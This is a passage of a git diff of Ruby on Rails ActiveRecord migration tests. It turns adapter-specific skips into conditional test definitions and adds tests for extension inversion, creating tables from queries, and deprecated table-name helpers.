-              assert_equal Rational(-5, 24), bob.moment_of_truth.offset
-              assert_match(/\A-05:00\Z/, bob.moment_of_truth.zone)
-              assert_equal DateTime::ITALY, bob.moment_of_truth.start
-            end
-          end
-        end
-
         assert_instance_of TrueClass, bob.male?
         assert_kind_of BigDecimal, bob.wealth
       end
 
-      def test_out_of_range_limit_should_raise
-        skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
-
-        assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
+      if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+        def test_out_of_range_limit_should_raise
+          assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
 
-        unless current_adapter?(:PostgreSQLAdapter)
-          assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+          unless current_adapter?(:PostgreSQLAdapter)
+            assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+          end
         end
       end
     end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
index 913d935..87e29e4 100644
--- a/activerecord/test/cases/migration/column_positioning_test.rb
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -9,10 +9,6 @@ module ActiveRecord
       def setup
         super
 
-        unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
-          skip "not supported on #{connection.class}"
-        end
-
         @connection = ActiveRecord::Base.connection
 
         connection.create_table :testings, :id => false do |t|
@@ -28,33 +24,34 @@ module ActiveRecord
         ActiveRecord::Base.primary_key_prefix_type = nil
       end
 
-      def test_column_positioning
-        assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
-      end
+      if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+        def test_column_positioning
+          assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
+        end
 
-      def test_add_column_with_positioning
-        conn.add_column :testings, :new_col, :integer
-        assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
-      end
+        def test_add_column_with_positioning
+          conn.add_column :testings, :new_col, :integer
+          assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
+        end
 
-      def test_add_column_with_positioning_first
-        conn.add_column :testings, :new_col, :integer, :first => true
-        assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
-      end
+        def test_add_column_with_positioning_first
+          conn.add_column :testings, :new_col, :integer, :first => true
+          assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
+        end
 
-      def test_add_column_with_positioning_after
-        conn.add_column :testings, :new_col, :integer, :after => :first
-        assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
-      end
+        def test_add_column_with_positioning_after
+          conn.add_column :testings, :new_col, :integer, :after => :first
+          assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
+        end
 
-      def test_change_column_with_positioning
-        conn.change_column :testings, :second, :integer, :first => true
-        assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
+        def test_change_column_with_positioning
+          conn.change_column :testings, :second, :integer, :first => true
+          assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
 
-        conn.change_column :testings, :second, :integer, :after => :third
-        assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+          conn.change_column :testings, :second, :integer, :after => :third
+          assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+        end
       end
-
     end
   end
 end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index 2cad8a6..a925cf4 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -4,7 +4,8 @@ module ActiveRecord
   class Migration
     class CommandRecorderTest < ActiveRecord::TestCase
       def setup
-        @recorder = CommandRecorder.new
+        connection = ActiveRecord::Base.connection
+        @recorder  = CommandRecorder.new(connection)
       end
 
       def test_respond_to_delegates
@@ -173,13 +174,13 @@ module ActiveRecord
       end
 
       def test_invert_add_index
-        remove = @recorder.inverse_of :add_index, [:table, [:one, :two], options: true]
-        assert_equal [:remove_index, [:table, {column: [:one, :two], options: true}]], remove
+        remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
+        assert_equal [:remove_index, [:table, {column: [:one, :two]}]], remove
       end
 
       def test_invert_add_index_with_name
         remove = @recorder.inverse_of :add_index, [:table, [:one, :two], name: "new_index"]
-        assert_equal [:remove_index, [:table, {column: [:one, :two], name: "new_index"}]], remove
+        assert_equal [:remove_index, [:table, {name: "new_index"}]], remove
       end
 
       def test_invert_add_index_with_no_options
@@ -242,6 +243,16 @@ module ActiveRecord
         add = @recorder.inverse_of :remove_belongs_to, [:table, :user]
         assert_equal [:add_reference, [:table, :user], nil], add
       end
+
+      def test_invert_enable_extension
+        disable = @recorder.inverse_of :enable_extension, ['uuid-ossp']
+        assert_equal [:disable_extension, ['uuid-ossp'], nil], disable
+      end
+
+      def test_invert_disable_extension
+        enable = @recorder.inverse_of :disable_extension, ['uuid-ossp']
+        assert_equal [:enable_extension, ['uuid-ossp'], nil], enable
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
index 0e375af..8d1daa0 100644
--- a/activerecord/test/cases/migration/index_test.rb
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -27,32 +27,28 @@ module ActiveRecord
         ActiveRecord::Base.primary_key_prefix_type = nil
       end
 
-      def test_rename_index
-        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
-
-        # keep the names short to make Oracle and similar behave
-        connection.add_index(table_name, [:foo], :name => 'old_idx')
-        connection.rename_index(table_name, 'old_idx', 'new_idx')
-
-        # if the adapter doesn't support the indexes call, pick defaults that let the test pass
-        assert_not connection.index_name_exists?(table_name, 'old_idx', false)
-        assert connection.index_name_exists?(table_name, 'new_idx', true)
-      end
-
-      def test_double_add_index
-        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+      unless current_adapter?(:OpenBaseAdapter)
+        def test_rename_index
+          # keep the names short to make Oracle and similar behave
+          connection.add_index(table_name, [:foo], :name => 'old_idx')
+          connection.rename_index(table_name, 'old_idx', 'new_idx')
+
+          # if the adapter doesn't support the indexes call, pick defaults that let the test pass
+          assert_not connection.index_name_exists?(table_name, 'old_idx', false)
+          assert connection.index_name_exists?(table_name, 'new_idx', true)
+        end
 
-        connection.add_index(table_name, [:foo], :name => 'some_idx')
-        assert_raises(ArgumentError) {
+        def test_double_add_index
           connection.add_index(table_name, [:foo], :name => 'some_idx')
-        }
-      end
-
-      def test_remove_nonexistent_index
-        skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+          assert_raises(ArgumentError) {
+            connection.add_index(table_name, [:foo], :name => 'some_idx')
+          }
+        end
 
-        # we do this by name, so OpenBase is a wash as noted above
-        assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
+        def test_remove_nonexistent_index
+          # we do this by name, so OpenBase is a wash as noted above
+          assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
+        end
       end
 
       def test_add_index_works_with_long_index_names
@@ -109,16 +105,6 @@ module ActiveRecord
         end
       end
 
-      def test_deprecated_type_argument
-        message = "Passing a string as third argument of `add_index` is deprecated and will" +
-          " be removed in Rails 4.1." +
-          " Use add_index(:testings, [:foo, :bar], unique: true) instead"
-
-        assert_deprecated message do
-          connection.add_index :testings, [:foo, :bar], "UNIQUE"
-        end
-      end
-
       def test_unique_index_exists
         connection.add_index :testings, :foo, :unique => true
 
@@ -199,14 +185,14 @@ module ActiveRecord
         end
       end
 
-      def test_add_partial_index
-        skip 'only on pg' unless current_adapter?(:PostgreSQLAdapter)
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_add_partial_index
+          connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
+          assert connection.index_exists?("testings", "last_name")
 
-        connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
-        assert connection.index_exists?("testings", "last_name")
-
-        connection.remove_index("testings", "last_name")
-        assert !connection.index_exists?("testings", "last_name")
+          connection.remove_index("testings", "last_name")
+          assert !connection.index_exists?("testings", "last_name")
+        end
       end
 
       private
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
index 3ff8952..19eb7d3 100644
--- a/activerecord/test/cases/migration/references_index_test.rb
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -50,14 +50,14 @@ module ActiveRecord
         assert connection.index_exists?(table_name, :bar_id, :name => :index_testings_on_bar_id, :unique => true)
       end
 
-      def test_creates_polymorphic_index
-        return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+      unless current_adapter? :OracleAdapter
+        def test_creates_polymorphic_index
+          connection.create_table table_name do |t|
+            t.references :foo, :polymorphic => true, :index => true
+          end
 
-        connection.create_table table_name do |t|
-          t.references :foo, :polymorphic => true, :index => true
+          assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
         end
-
-        assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
       end
 
       def test_creates_index_for_existing_table
@@ -87,16 +87,16 @@ module ActiveRecord
         assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
       end
 
-      def test_creates_polymorphic_index_for_existing_table
-        return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
-        connection.create_table table_name
-        connection.change_table table_name do |t|
-          t.references :foo, :polymorphic => true, :index => true
-        end
+      unless current_adapter? :OracleAdapter
+        def test_creates_polymorphic_index_for_existing_table
+          connection.create_table table_name
+          connection.change_table table_name do |t|
+            t.references :foo, :polymorphic => true, :index => true
+          end
 
-        assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+          assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+        end
       end
-
     end
   end
 end
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
index 22dbd7c..2a7fafc 100644
--- a/activerecord/test/cases/migration/rename_table_test.rb
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -19,24 +19,24 @@ module ActiveRecord
         super
       end
 
-      def test_rename_table_for_sqlite_should_work_with_reserved_words
-        renamed = false
-
-        skip "not supported" unless current_adapter?(:SQLite3Adapter)
-
-        add_column :test_models, :url, :string
-        connection.rename_table :references, :old_references
-        connection.rename_table :test_models, :references
-
-        renamed = true
-
-        # Using explicit id in insert for compatibility across all databases
-        connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
-        assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
-      ensure
-        return unless renamed
-        connection.rename_table :references, :test_models
-        connection.rename_table :old_references, :references
+      if current_adapter?(:SQLite3Adapter)
+        def test_rename_table_for_sqlite_should_work_with_reserved_words
+          renamed = false
+
+          add_column :test_models, :url, :string
+          connection.rename_table :references, :old_references
+          connection.rename_table :test_models, :references
+
+          renamed = true
+
+          # Using explicit id in insert for compatibility across all databases
+          connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
+          assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
+        ensure
+          return unless renamed
+          connection.rename_table :references, :test_models
+          connection.rename_table :old_references, :references
+        end
       end
 
       def test_rename_table
@@ -76,14 +76,14 @@ module ActiveRecord
         assert_equal ['special_url_idx'], connection.indexes(:octopi).map(&:name)
       end
 
-      def test_rename_table_for_postgresql_should_also_rename_default_sequence
-        skip 'not supported' unless current_adapter?(:PostgreSQLAdapter)
-
-        rename_table :test_models, :octopi
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_rename_table_for_postgresql_should_also_rename_default_sequence
+          rename_table :test_models, :octopi
 
-        pk, seq = connection.pk_and_sequence_for('octopi')
+          pk, seq = connection.pk_and_sequence_for('octopi')
 
-        assert_equal "octopi_#{pk}_seq", seq
+          assert_equal "octopi_#{pk}_seq", seq
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index e99312c..1bda472 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -63,6 +63,7 @@ class MigrationTest < ActiveRecord::TestCase
 
   def test_migrator_versions
     migrations_path = MIGRATIONS_ROOT + "/valid"
+    old_path = ActiveRecord::Migrator.migrations_paths
     ActiveRecord::Migrator.migrations_paths = migrations_path
 
     ActiveRecord::Migrator.up(migrations_path)
@@ -74,6 +75,12 @@ class MigrationTest < ActiveRecord::TestCase
     assert_equal 0, ActiveRecord::Migrator.current_version
     assert_equal 3, ActiveRecord::Migrator.last_version
     assert_equal true, ActiveRecord::Migrator.needs_migration?
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+  end
+
+  def test_migration_version
+    ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947)
   end
 
   def test_create_table_with_force_true_does_not_drop_nonexisting_table
@@ -177,20 +184,18 @@ class MigrationTest < ActiveRecord::TestCase
   end
 
   def test_filtering_migrations
-    assert !Person.column_methods_hash.include?(:last_name)
+    assert_no_column Person, :last_name
     assert !Reminder.table_exists?
 
     name_filter = lambda { |migration| migration.name == "ValidPeopleHaveLastNames" }
     ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", &name_filter)
 
-    Person.reset_column_information
-    assert Person.column_methods_hash.include?(:last_name)
+    assert_column Person, :last_name
     assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
 
     ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", &name_filter)
 
-    Person.reset_column_information
-    assert !Person.column_methods_hash.include?(:last_name)
+    assert_no_column Person, :last_name
     assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
   end
 
@@ -232,124 +237,163 @@ class MigrationTest < ActiveRecord::TestCase
     assert migration.went_down, 'have not gone down'
   end
 
-  def test_migrator_one_up_with_exception_and_rollback
-    unless ActiveRecord::Base.connection.supports_ddl_transactions?
-      skip "not supported on #{ActiveRecord::Base.connection.class}"
-    end
-
-    assert_not Person.column_methods_hash.include?(:last_name)
-
-    migration = Class.new(ActiveRecord::Migration) {
-      def version; 100 end
-      def migrate(x)
-        add_column "people", "last_name", :string
-        raise 'Something broke'
-      end
-    }.new
+  if ActiveRecord::Base.connection.supports_ddl_transactions?
+    def test_migrator_one_up_with_exception_and_rollback
+      assert_no_column Person, :last_name
 
-    migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migration = Class.new(ActiveRecord::Migration) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise 'Something broke'
+        end
+      }.new
 
-    e = assert_raise(StandardError) { migrator.migrate }
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
 
-    assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+      e = assert_raise(StandardError) { migrator.migrate }
 
-    Person.reset_column_information
-    assert_not Person.column_methods_hash.include?(:last_name),
-     "On error, the Migrator should revert schema changes but it did not."
-  end
+      assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
 
-  def test_migrator_one_up_with_exception_and_rollback_using_run
-    unless ActiveRecord::Base.connection.supports_ddl_transactions?
-      skip "not supported on #{ActiveRecord::Base.connection.class}"
+      assert_no_column Person, :last_name,
+        "On error, the Migrator should revert schema changes but it did not."
     end
 
-    assert_not Person.column_methods_hash.include?(:last_name)
-
-    migration = Class.new(ActiveRecord::Migration) {
-      def version; 100 end
-      def migrate(x)
-        add_column "people", "last_name", :string
-        raise 'Something broke'
-      end
-    }.new
+    def test_migrator_one_up_with_exception_and_rollback_using_run
+      assert_no_column Person, :last_name
 
-    migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migration = Class.new(ActiveRecord::Migration) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise 'Something broke'
+        end
+      }.new
 
-    e = assert_raise(StandardError) { migrator.run }
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
 
-    assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
+      e = assert_raise(StandardError) { migrator.run }
 
-    Person.reset_column_information
-    assert_not Person.column_methods_hash.include?(:last_name),
-      "On error, the Migrator should revert schema changes but it did not."
-  end
+      assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
 
-  def test_migration_without_transaction
-    unless ActiveRecord::Base.connection.supports_ddl_transactions?
-      skip "not supported on #{ActiveRecord::Base.connection.class}"
+      assert_no_column Person, :last_name,
+        "On error, the Migrator should revert schema changes but it did not."
     end
 
-    assert_not Person.column_methods_hash.include?(:last_name)
+    def test_migration_without_transaction
+      assert_no_column Person, :last_name
 
-    migration = Class.new(ActiveRecord::Migration) {
-      self.disable_ddl_transaction!
+      migration = Class.new(ActiveRecord::Migration) {
+        self.disable_ddl_transaction!
 
-      def version; 101 end
-      def migrate(x)
-        add_column "people", "last_name", :string
-        raise 'Something broke'
-      end
-    }.new
+        def version; 101 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise 'Something broke'
+        end
+      }.new
 
-    migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
-    e = assert_raise(StandardError) { migrator.migrate }
-    assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
+      e = assert_raise(StandardError) { migrator.migrate }
+      assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
 
-    Person.reset_column_information
-    assert Person.column_methods_hash.include?(:last_name),
-     "without ddl transactions, the Migrator should not rollback on error but it did."
-  ensure
-    Person.reset_column_information
-    if Person.column_methods_hash.include?(:last_name)
-      Person.connection.remove_column('people', 'last_name')
+      assert_column Person, :last_name,
+        "without ddl transactions, the Migrator should not rollback on error but it did."
+    ensure
+      Person.reset_column_information
+      if Person.column_names.include?('last_name')
+        Person.connection.remove_column('people', 'last_name')
+      end
     end
   end
 
   def test_schema_migrations_table_name
+    original_schema_migrations_table_name = ActiveRecord::Migrator.schema_migrations_table_name
+
+    assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
     ActiveRecord::Base.table_name_prefix = "prefix_"
     ActiveRecord::Base.table_name_suffix = "_suffix"
     Reminder.reset_table_name
     assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+    ActiveRecord::Base.schema_migrations_table_name = "changed"
+    Reminder.reset_table_name
+    assert_equal "prefix_changed_suffix", ActiveRecord::Migrator.schema_migrations_table_name
     ActiveRecord::Base.table_name_prefix = ""
     ActiveRecord::Base.table_name_suffix = ""
     Reminder.reset_table_name
-    assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
+    assert_equal "changed", ActiveRecord::Migrator.schema_migrations_table_name
+  ensure
+    ActiveRecord::Base.schema_migrations_table_name = original_schema_migrations_table_name
+    Reminder.reset_table_name
   end
 
-  def test_proper_table_name
-    assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
-    assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
-    assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
-    Reminder.reset_table_name
-    assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
+  def test_proper_table_name_on_migrator
+    reminder_class = new_isolated_reminder_class
+    assert_deprecated do
+      assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
+    end
+    assert_deprecated do
+      assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
+    end
+    assert_deprecated do
+      assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(reminder_class)
+    end
+    reminder_class.reset_table_name
+    assert_deprecated do
+      assert_equal reminder_class.table_name, ActiveRecord::Migrator.proper_table_name(reminder_class)
+    end
 
     # Use the model's own prefix/suffix if a model is given
     ActiveRecord::Base.table_name_prefix = "ARprefix_"
     ActiveRecord::Base.table_name_suffix = "_ARsuffix"
-    Reminder.table_name_prefix = 'prefix_'
-    Reminder.table_name_suffix = '_suffix'
-    Reminder.reset_table_name
-    assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
-    Reminder.table_name_prefix = ''
-    Reminder.table_name_suffix = ''
-    Reminder.reset_table_name
+    reminder_class.table_name_prefix = 'prefix_'
+    reminder_class.table_name_suffix = '_suffix'
+    reminder_class.reset_table_name
+    assert_deprecated do
+      assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(reminder_class)
+    end
+    reminder_class.table_name_prefix = ''
+    reminder_class.table_name_suffix = ''
+    reminder_class.reset_table_name
 
     # Use AR::Base's prefix/suffix if string or symbol is given
     ActiveRecord::Base.table_name_prefix = "prefix_"
     ActiveRecord::Base.table_name_suffix = "_suffix"
-    Reminder.reset_table_name
-    assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
-    assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
+    reminder_class.reset_table_name
+    assert_deprecated do
+      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
+    end
+    assert_deprecated do
+      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
+    end
+  end
+
+  def test_proper_table_name_on_migration
+    reminder_class = new_isolated_reminder_class
+    migration = ActiveRecord::Migration.new
+    assert_equal "table", migration.proper_table_name('table')
+    assert_equal "table", migration.proper_table_name(:table)
+    assert_equal "reminders", migration.proper_table_name(reminder_class)
+    reminder_class.reset_table_name
+    assert_equal reminder_class.table_name, migration.proper_table_name(reminder_class)
+
+    # Use the model's own prefix/suffix if a model is given
+    ActiveRecord::Base.table_name_prefix = "ARprefix_"
+    ActiveRecord::Base.table_name_suffix = "_ARsuffix"
+    reminder_class.table_name_prefix = 'prefix_'
+    reminder_class.table_name_suffix = '_suffix'
+    reminder_class.reset_table_name
+    assert_equal "prefix_reminders_suffix", migration.proper_table_name(reminder_class)
+    reminder_class.table_name_prefix = ''
+    reminder_class.table_name_suffix = ''
+    reminder_class.reset_table_name
+
+    # Use AR::Base's prefix/suffix if string or symbol is given
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+    reminder_class.reset_table_name
+    assert_equal "prefix_table_suffix", migration.proper_table_name('table', migration.table_name_options)
+    assert_equal "prefix_table_suffix", migration.proper_table_name(:table, migration.table_name_options)
   end
 
   def test_rename_table_with_prefix_and_suffix
@@ -405,70 +449,98 @@ class MigrationTest < ActiveRecord::TestCase
     Person.connection.drop_table :binary_testings rescue nil
   end
 
-  def test_create_table_with_custom_sequence_name
-    skip "not supported" unless current_adapter? :OracleAdapter
+  def test_create_table_with_query
+    Person.connection.drop_table :table_from_query_testings rescue nil
+    Person.connection.create_table(:person, force: true)
 
-    # table name is 29 chars, the standard sequence name will
-    # be 33 chars and should be shortened
-    assert_nothing_raised do
-      begin
-        Person.connection.create_table :table_with_name_thats_just_ok do |t|
-          t.column :foo, :string, :null => false
+    Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM person"
+
+    columns = Person.connection.columns(:table_from_query_testings)
+    assert_equal 1, columns.length
+    assert_equal "id", columns.first.name
+
+    Person.connection.drop_table :table_from_query_testings rescue nil
+  end
+
+  def test_create_table_with_query_from_relation
+    Person.connection.drop_table :table_from_query_testings rescue nil
+    Person.connection.create_table(:person, force: true)
+
+    Person.connection.create_table :table_from_query_testings, as: Person.select(:id)
+
+    columns = Person.connection.columns(:table_from_query_testings)
+    assert_equal 1, columns.length
+    assert_equal "id", columns.first.name
+
+    Person.connection.drop_table :table_from_query_testings rescue nil
+  end
+
+  if current_adapter? :OracleAdapter
+    def test_create_table_with_custom_sequence_name
+      # table name is 29 chars, the standard sequence name will
+      # be 33 chars and should be shortened
+      assert_nothing_raised do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok do |t|
+            t.column :foo, :string, :null => false
+          end
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
         end
-      ensure
-        Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
       end
-    end
 
-    # should be all good w/ a custom sequence name
-    assert_nothing_raised do
-      begin
-        Person.connection.create_table :table_with_name_thats_just_ok,
-                                       :sequence_name => 'suitably_short_seq' do |t|
-          t.column :foo, :string, :null => false
-        end
+      # should be all good w/ a custom sequence name
+      assert_nothing_raised do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok,
+            :sequence_name => 'suitably_short_seq' do |t|
+            t.column :foo, :string, :null => false
+          end
 
-        Person.connection.execute("select suitably_short_seq.nextval from dual")
+          Person.connection.execute("select suitably_short_seq.nextval from dual")
 
-      ensure
-        Person.connection.drop_table :table_with_name_thats_just_ok,
-                                     :sequence_name => 'suitably_short_seq' rescue nil
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok,
+            :sequence_name => 'suitably_short_seq' rescue nil
+        end
       end
-    end
 
-    # confirm the custom sequence got dropped
-    assert_raise(ActiveRecord::StatementInvalid) do
-      Person.connection.execute("select suitably_short_seq.nextval from dual")
+      # confirm the custom sequence got dropped
+      assert_raise(ActiveRecord::StatementInvalid) do
+        Person.connection.execute("select suitably_short_seq.nextval from dual")
+      end
     end
   end
 
-  def test_out_of_range_limit_should_raise
-    skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
-
-    Person.connection.drop_table :test_limits rescue nil
-    assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
-      Person.connection.create_table :test_integer_limits, :force => true do |t|
-        t.column :bigone, :integer, :limit => 10
+  if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+    def test_out_of_range_limit_should_raise
+      Person.connection.drop_table :test_limits rescue nil
+      assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
+        Person.connection.create_table :test_integer_limits, :force => true do |t|
+          t.column :bigone, :integer, :limit => 10
+        end
       end
-    end
 
-    unless current_adapter?(:PostgreSQLAdapter)
-      assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
-        Person.connection.create_table :test_text_limits, :force => true do |t|
-          t.column :bigtext, :text, :limit => 0xfffffffff
+      unless current_adapter?(:PostgreSQLAdapter)
+        assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
+          Person.connection.create_table :test_text_limits, :force => true do |t|
+            t.column :bigtext, :text, :limit => 0xfffffffff
+          end
         end
       end
-    end
 
-    Person.connection.drop_table :test_limits rescue nil
+      Person.connection.drop_table :test_limits rescue nil
+    end
   end
 
   protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+    # This is needed to isolate class_attribute assignments like `table_name_prefix`
+    # for each test case.
+    def new_isolated_reminder_class
+      Class.new(Reminder) {
+        def self.name; "Reminder"; end
+        def self.base_class; self; end
+      }
     end
 end
 
@@ -665,8 +737,8 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
     copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
-    assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
-    assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
     assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
 
     expected = "# This migration comes from bukkits (originally 1)"
@@ -689,10 +761,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
     sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
     ActiveRecord::Migration.copy(@migrations_path, sources)
-    assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
-    assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
-    assert File.exists?(@migrations_path + "/6_create_articles.omg.rb")
-    assert File.exists?(@migrations_path + "/7_create_comments.omg.rb")
+    assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert File.exist?(@migrations_path + "/6_create_articles.omg.rb")
+    assert File.exist?(@migrations_path + "/7_create_comments.omg.rb")
 
     files_count = Dir[@migrations_path + "/*.rb"].length
     ActiveRecord::Migration.copy(@migrations_path, sources)
@@ -705,10 +777,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
